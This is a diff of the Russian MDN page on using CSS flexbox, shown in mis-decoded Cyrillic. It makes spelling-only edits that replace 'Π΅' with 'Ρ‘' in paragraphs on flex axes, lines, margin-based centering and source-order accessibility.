-<div class="note"><strong>Π’Π½ΠΈΠΌΠ°Π½ΠΈΠ΅:</strong> Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ всС Π΅Ρ‰Π΅ ΠΌΠΎΠ³ΡƒΡ‚ частично ΠΈΠ»ΠΈ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ флСксбоксы. ΠžΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="/ru/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes#Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_с_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">Ρ‚Π°Π±Π»ΠΈΡ†Π΅ΠΉ совмСстимости</a>.</div>
+<div class="note"><strong>Π’Π½ΠΈΠΌΠ°Π½ΠΈΠ΅:</strong> Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ всС Π΅Ρ‰Ρ‘ ΠΌΠΎΠ³ΡƒΡ‚ частично ΠΈΠ»ΠΈ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ флСксбоксы. ΠžΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="/ru/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes#Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_с_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">Ρ‚Π°Π±Π»ΠΈΡ†Π΅ΠΉ совмСстимости</a>.</div>
<h2 id="ΠšΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΡ_Flexbox">ΠšΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΡ Flexbox</h2>
@@ -53,7 +53,7 @@ original_slug: Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes
</dd>
<dt>НаправлСния</dt>
<dd>
- <p>Π“Π»Π°Π²Π½ΠΎΠ΅ Π½Π°Ρ‡Π°Π»ΠΎ ΠΈ ΠΊΠΎΠ½Π΅Ρ† (<strong>main</strong>) ΠΈ пСрСкрёстноС начало ΠΈ ΠΊΠΎΠ½Π΅Ρ† (<strong>cross start</strong>/<strong>end</strong>) β€” это стороны ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰ΠΈΠ΅ Π½Π°Ρ‡Π°Π»ΠΎ ΠΈ ΠΎΠΊΠΎΠ½Ρ‡Π°Π½ΠΈΠ΅ ΠΏΠΎΡ‚ΠΎΠΊΠ° flex-элСмСнтов. Они ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ ΠΏΠΎ Π³Π»Π°Π²Π½ΠΎΠΉ ΠΈ пСрСкрСстной осями flex-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° Π² Π²Π΅ΠΊΡ‚ΠΎΡ€Π΅, установлСнном Ρ€Π΅ΠΆΠΈΠΌΠΎΠΌ написания ({{Cssxref("writing-mode")}}) (слСва Π½Π°ΠΏΡ€Π°Π²ΠΎ, справа Π½Π°Π»Π΅Π²ΠΎ ΠΈ Ρ‚. Π΄.).</p>
+ <p>Π“Π»Π°Π²Π½ΠΎΠ΅ Π½Π°Ρ‡Π°Π»ΠΎ ΠΈ ΠΊΠΎΠ½Π΅Ρ† (<strong>main</strong>) ΠΈ пСрСкрёстноС начало ΠΈ ΠΊΠΎΠ½Π΅Ρ† (<strong>cross start</strong>/<strong>end</strong>) β€” это стороны ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰ΠΈΠ΅ Π½Π°Ρ‡Π°Π»ΠΎ ΠΈ ΠΎΠΊΠΎΠ½Ρ‡Π°Π½ΠΈΠ΅ ΠΏΠΎΡ‚ΠΎΠΊΠ° flex-элСмСнтов. Они ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ ΠΏΠΎ Π³Π»Π°Π²Π½ΠΎΠΉ ΠΈ пСрСкрёстной осями flex-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° Π² Π²Π΅ΠΊΡ‚ΠΎΡ€Π΅, установлСнном Ρ€Π΅ΠΆΠΈΠΌΠΎΠΌ написания ({{Cssxref("writing-mode")}}) (слСва Π½Π°ΠΏΡ€Π°Π²ΠΎ, справа Π½Π°Π»Π΅Π²ΠΎ ΠΈ Ρ‚. Π΄.).</p>
<ul>
<li>Бвойство {{Cssxref("order")}} присваиваСт элСмСнты порядковым Π³Ρ€ΡƒΠΏΠΏΠ°ΠΌ ΠΈ опрСдСляСт, Π² ΠΊΠ°ΠΊΠΎΠΌ порядкС ΠΈΡ… ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ.</li>
@@ -62,7 +62,7 @@ original_slug: Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes
</dd>
<dt>Π›ΠΈΠ½ΠΈΠΈ</dt>
<dd>
- <p>Flex-элСмСнты ΠΌΠΎΠ³ΡƒΡ‚ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒΡΡ Π½Π° ΠΎΠ΄Π½ΠΎΠΉ ΠΈΠ»ΠΈ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… линиях Π² зависимости ΠΎΡ‚ значСния свойства {{Cssxref("flex-wrap")}}, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΠ΅Ρ‚ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ пСрСкрСстных Π»ΠΈΠ½ΠΈΠΉ ΠΈ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΡΠΊΠ»Π°Π΄Ρ‹Π²Π°ΡŽΡ‚ΡΡ Π½ΠΎΠ²Ρ‹Π΅ Π»ΠΈΠ½ΠΈΠΈ.</p>
+ <p>Flex-элСмСнты ΠΌΠΎΠ³ΡƒΡ‚ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒΡΡ Π½Π° ΠΎΠ΄Π½ΠΎΠΉ ΠΈΠ»ΠΈ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… линиях Π² зависимости ΠΎΡ‚ значСния свойства {{Cssxref("flex-wrap")}}, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΠ΅Ρ‚ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ пСрСкрёстных Π»ΠΈΠ½ΠΈΠΉ ΠΈ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΡΠΊΠ»Π°Π΄Ρ‹Π²Π°ΡŽΡ‚ΡΡ Π½ΠΎΠ²Ρ‹Π΅ Π»ΠΈΠ½ΠΈΠΈ.</p>
</dd>
<dt>Π Π°Π·ΠΌΠ΅Ρ€Ρ‹</dt>
<dd>
@@ -97,9 +97,9 @@ original_slug: Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes
<p>ΠžΡ‚ΡΡ‚ΡƒΠΏΡ‹ (margin) сосСдних flex-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΎΠ² Π½Π΅ ΡΡ…Π»ΠΎΠΏΡ‹Π²Π°ΡŽΡ‚ΡΡ. Установка Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ <code>margin: auto </code>ΠΏΠΎΠ³Π»ΠΎΡ‰Π°Π΅Ρ‚ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ мСсто Π² Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠΌ ΠΈΠ»ΠΈ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΠΎΠΌ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΈ ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использовано для выравнивания ΠΈΠ»ΠΈ для раздСлСния сосСдних flex-элСмСнтов. Π‘ΠΌ.Β <a href="http://dev.w3.org/csswg/css3-flexbox/#auto-margins">Π’Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ 'автоматичСских' отступов </a>Π² Ρ€Π°Π·Π΄Π΅Π»Π΅ "МодСль располоТСния ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ flex-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΎΠ²" спСцификации W3C.</p>
-<p>Бвойства выравнивания flexbox Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ "истинноС" Ρ†Π΅Π½Ρ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ Π΄Ρ€ΡƒΠ³ΠΈΡ… способов цСнтрирования Π² CSS. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ flex-элСмСнты Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡΡ‚Π°Π²Π°Ρ‚ΡŒΡΡ ΠΎΡ‚Ρ†Π΅Π½Ρ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌΠΈ Π΄Π°ΠΆΠ΅ Ссли ΠΎΠ½ΠΈ ΠΏΠ΅Ρ€Π΅ΠΏΠΎΠ»Π½ΡΡŽΡ‚ flex-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€. Π’ΠΏΡ€ΠΎΡ‡Π΅ΠΌ, это ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠ½ΠΎΠ³Π΄Π° Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°Ρ‚ΠΈΡ‡Π½Ρ‹ΠΌ, Ссли ΠΎΠ½ΠΈ Π²Ρ‹Π»Π΅Π·Π°ΡŽΡ‚ Π·Π° Π²Π΅Ρ€Ρ…Π½ΠΈΠΉ ΠΈΠ»ΠΈ Π»Π΅Π²Ρ‹ΠΉ ΠΊΡ€Π°ΠΉ страницы (Π² языках с написаниСм слСва Π½Π°ΠΏΡ€Π°Π²ΠΎ; Π² языках с написаниСм справа Π½Π°Π»Π΅Π²ΠΎ, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ арабский, Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° с ΠΏΡ€Π°Π²ΠΎΠΉ Π³Ρ€Π°Π½ΠΈΡ†Π΅ΠΉ), Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΈΡ‚ΡŒ страницу Π² Π΄Π°Π½Π½ΡƒΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ Π΄Π°ΠΆΠ΅ Ссли Ρ‚Π°ΠΌ Π΅ΡΡ‚ΡŒ содСрТимоС! Π’ Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ Ρ€Π΅Π»ΠΈΠ·Π΅ свойства выравнивания Π±ΡƒΠ΄ΡƒΡ‚ Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½Ρ‹ "бСзопасной" ΠΎΠΏΡ†ΠΈΠ΅ΠΉ. На Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚, Ссли это ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ отступы (margin) для достиТСния цСнтрирования, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ ΡΡ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ "бСзопасно" ΠΈ Ρ†Π΅Π½Ρ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€Π΅ΠΊΡ€Π°Ρ‰Π΅Π½ΠΎ ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π΅ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ. ВмСсто использования свойства <code>align- </code>просто установитС автоматичСскиС отступы (<code>margin: auto)</code> для flex-элСмСнтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΎΡ‚Ρ†Π΅Π½Ρ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ. ВмСсто свойств <code>justify-</code> установитС <code>margin: auto</code> Π½Π° внСшниС края ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ ΠΈ послСднСго элСмСнта Π² flex-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅. АвтоматичСскиС отступы Π±ΡƒΠ΄ΡƒΡ‚ "ΠΏΠΎΠ΄ΡΡ‚Ρ€Π°ΠΈΠ²Π°Ρ‚ΡŒΡΡ" ΠΈ Π·Π°Π½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΎΡΡ‚Π°Π²ΡˆΠ΅Π΅ΡΡ мСсто, цСнтрируя flex-элСмСнты ΠΏΡ€ΠΈ Π½Π°Π»ΠΈΡ‡ΠΈΠΈ свободного мСста ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ стандартноС Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ ΠΏΡ€ΠΈ Π΅Π³ΠΎ отсутствии. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, Ссли Π²Ρ‹ ΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ Π·Π°ΠΌΠ΅Π½ΠΈΡ‚ΡŒ <code>justify-content </code>Ρ†Π΅Π½Ρ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ, основанным Π½Π° отступах (margin-based) Π² многострочном flexbox, Π²Π°ΠΌ, Π²ΠΈΠ΄ΠΈΠΌΠΎ, Π½Π΅ ΠΏΠΎΠ²Π΅Π·Π»ΠΎ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ отступы для ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ ΠΈ послСднСго элСмСнта Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΉ строкС. Если Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€Π΅Π΄ΡƒΠ³Π°Π΄Π°Ρ‚ΡŒ Π·Π°Ρ€Π°Π½Π΅Π΅ Π½Π° ΠΊΠ°ΠΊΠΎΠΉ строкС окаТСтся ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт, Π²Ρ‹ Π½Π΅ смоТСтС Π½Π°Π΄Π΅ΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ†Π΅Π½Ρ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅, основанноС Π½Π° отступах, Π½Π° основной оси для Π·Π°ΠΌΠ΅Π½Ρ‹ свойства <code>justify-content</code>.</p>
+<p>Бвойства выравнивания flexbox Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ "истинноС" Ρ†Π΅Π½Ρ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ Π΄Ρ€ΡƒΠ³ΠΈΡ… способов цСнтрирования Π² CSS. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ flex-элСмСнты Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡΡ‚Π°Π²Π°Ρ‚ΡŒΡΡ ΠΎΡ‚Ρ†Π΅Π½Ρ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌΠΈ Π΄Π°ΠΆΠ΅ Ссли ΠΎΠ½ΠΈ ΠΏΠ΅Ρ€Π΅ΠΏΠΎΠ»Π½ΡΡŽΡ‚ flex-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€. Π’ΠΏΡ€ΠΎΡ‡Π΅ΠΌ, это ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠ½ΠΎΠ³Π΄Π° Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°Ρ‚ΠΈΡ‡Π½Ρ‹ΠΌ, Ссли ΠΎΠ½ΠΈ Π²Ρ‹Π»Π΅Π·Π°ΡŽΡ‚ Π·Π° Π²Π΅Ρ€Ρ…Π½ΠΈΠΉ ΠΈΠ»ΠΈ Π»Π΅Π²Ρ‹ΠΉ ΠΊΡ€Π°ΠΉ страницы (Π² языках с написаниСм слСва Π½Π°ΠΏΡ€Π°Π²ΠΎ; Π² языках с написаниСм справа Π½Π°Π»Π΅Π²ΠΎ, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ арабский, Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° с ΠΏΡ€Π°Π²ΠΎΠΉ Π³Ρ€Π°Π½ΠΈΡ†Π΅ΠΉ), Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΈΡ‚ΡŒ страницу Π² Π΄Π°Π½Π½ΡƒΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ Π΄Π°ΠΆΠ΅ Ссли Ρ‚Π°ΠΌ Π΅ΡΡ‚ΡŒ содСрТимоС! Π’ Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ Ρ€Π΅Π»ΠΈΠ·Π΅ свойства выравнивания Π±ΡƒΠ΄ΡƒΡ‚ Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½Ρ‹ "бСзопасной" ΠΎΠΏΡ†ΠΈΠ΅ΠΉ. На Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚, Ссли это ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ отступы (margin) для достиТСния цСнтрирования, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ ΡΡ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ "бСзопасно" ΠΈ Ρ†Π΅Π½Ρ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€Π΅ΠΊΡ€Π°Ρ‰Π΅Π½ΠΎ ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π΅ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ. ВмСсто использования свойства <code>align- </code>просто установитС автоматичСскиС отступы (<code>margin: auto)</code> для flex-элСмСнтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΎΡ‚Ρ†Π΅Π½Ρ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ. ВмСсто свойств <code>justify-</code> установитС <code>margin: auto</code> Π½Π° внСшниС края ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ ΠΈ послСднСго элСмСнта Π² flex-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅. АвтоматичСскиС отступы Π±ΡƒΠ΄ΡƒΡ‚ "ΠΏΠΎΠ΄ΡΡ‚Ρ€Π°ΠΈΠ²Π°Ρ‚ΡŒΡΡ" ΠΈ Π·Π°Π½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΎΡΡ‚Π°Π²ΡˆΠ΅Π΅ΡΡ мСсто, цСнтрируя flex-элСмСнты ΠΏΡ€ΠΈ Π½Π°Π»ΠΈΡ‡ΠΈΠΈ свободного мСста ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ стандартноС Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ ΠΏΡ€ΠΈ Π΅Π³ΠΎ отсутствии. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, Ссли Π²Ρ‹ ΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ Π·Π°ΠΌΠ΅Π½ΠΈΡ‚ΡŒ <code>justify-content </code>Ρ†Π΅Π½Ρ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ, основанным Π½Π° отступах (margin-based) Π² многострочном flexbox, Π²Π°ΠΌ, Π²ΠΈΠ΄ΠΈΠΌΠΎ, Π½Π΅ ΠΏΠΎΠ²Π΅Π·Π»ΠΎ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ отступы для ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ ΠΈ послСднСго элСмСнта Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΉ строкС. Если Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€Π΅Π΄ΡƒΠ³Π°Π΄Π°Ρ‚ΡŒ Π·Π°Ρ€Π°Π½Π΅Π΅ Π½Π° ΠΊΠ°ΠΊΠΎΠΉ строкС окаТСтся ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт, Π²Ρ‹ Π½Π΅ смоТСтС Π½Π°Π΄Ρ‘ΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ†Π΅Π½Ρ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅, основанноС Π½Π° отступах, Π½Π° основной оси для Π·Π°ΠΌΠ΅Π½Ρ‹ свойства <code>justify-content</code>.</p>
-<p>ΠŸΠΎΠΌΠ½ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ, нСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ порядок отобраТСния элСмСнтов Π½Π΅ зависит ΠΎΡ‚ ΠΈΡ… полоТСния Π² исходном ΠΊΠΎΠ΄Π΅, эта Π½Π΅Π·Π°Π²ΠΈΡΠΈΠΌΠΎΡΡ‚ΡŒ Π·Π°Ρ‚Ρ€Π°Π³ΠΈΠ²Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎΠ΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, оставляя Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΡŽ ΠΈ Π³ΠΎΠ»ΠΎΡΠΎΠ²ΡƒΡŽ ΠΏΠΎΠΌΠΎΡ‰ΡŒ Π² исходном порядкС. Π”Π°ΠΆΠ΅ свойство {{cssxref("order")}} Π½Π΅ влияСт Π½Π° ΠΎΡ‡Π΅Ρ€Π΅Π΄Π½ΠΎΡΡ‚ΡŒ голосовой ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΈ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ΄Π΅Π»ΡΡ‚ΡŒ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΌΡƒ порядку элСмСнтов Π² исходном ΠΊΠΎΠ΄Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π΅ Π½Π°Π²Ρ€Π΅Π΄ΠΈΡ‚ΡŒ доступности Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</p>
+<p>ΠŸΠΎΠΌΠ½ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ, нСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ порядок отобраТСния элСмСнтов Π½Π΅ зависит ΠΎΡ‚ ΠΈΡ… полоТСния Π² исходном ΠΊΠΎΠ΄Π΅, эта Π½Π΅Π·Π°Π²ΠΈΡΠΈΠΌΠΎΡΡ‚ΡŒ Π·Π°Ρ‚Ρ€Π°Π³ΠΈΠ²Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎΠ΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, оставляя Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΡŽ ΠΈ Π³ΠΎΠ»ΠΎΡΠΎΠ²ΡƒΡŽ ΠΏΠΎΠΌΠΎΡ‰ΡŒ Π² исходном порядкС. Π”Π°ΠΆΠ΅ свойство {{cssxref("order")}} Π½Π΅ влияСт Π½Π° ΠΎΡ‡Π΅Ρ€Ρ‘Π΄Π½ΠΎΡΡ‚ΡŒ голосовой ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΈ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ΄Π΅Π»ΡΡ‚ΡŒ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΌΡƒ порядку элСмСнтов Π² исходном ΠΊΠΎΠ΄Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π΅ Π½Π°Π²Ρ€Π΅Π΄ΠΈΡ‚ΡŒ доступности Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</p>
<h2 id="Бвойства_Flexbox">Бвойства Flexbox</h2>
@@ -171,7 +171,7 @@ original_slug: Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes
<p><img alt="HolyGrailLayout.png" class="default internal" src="/files/3760/HolyGrailLayout.png"></p>
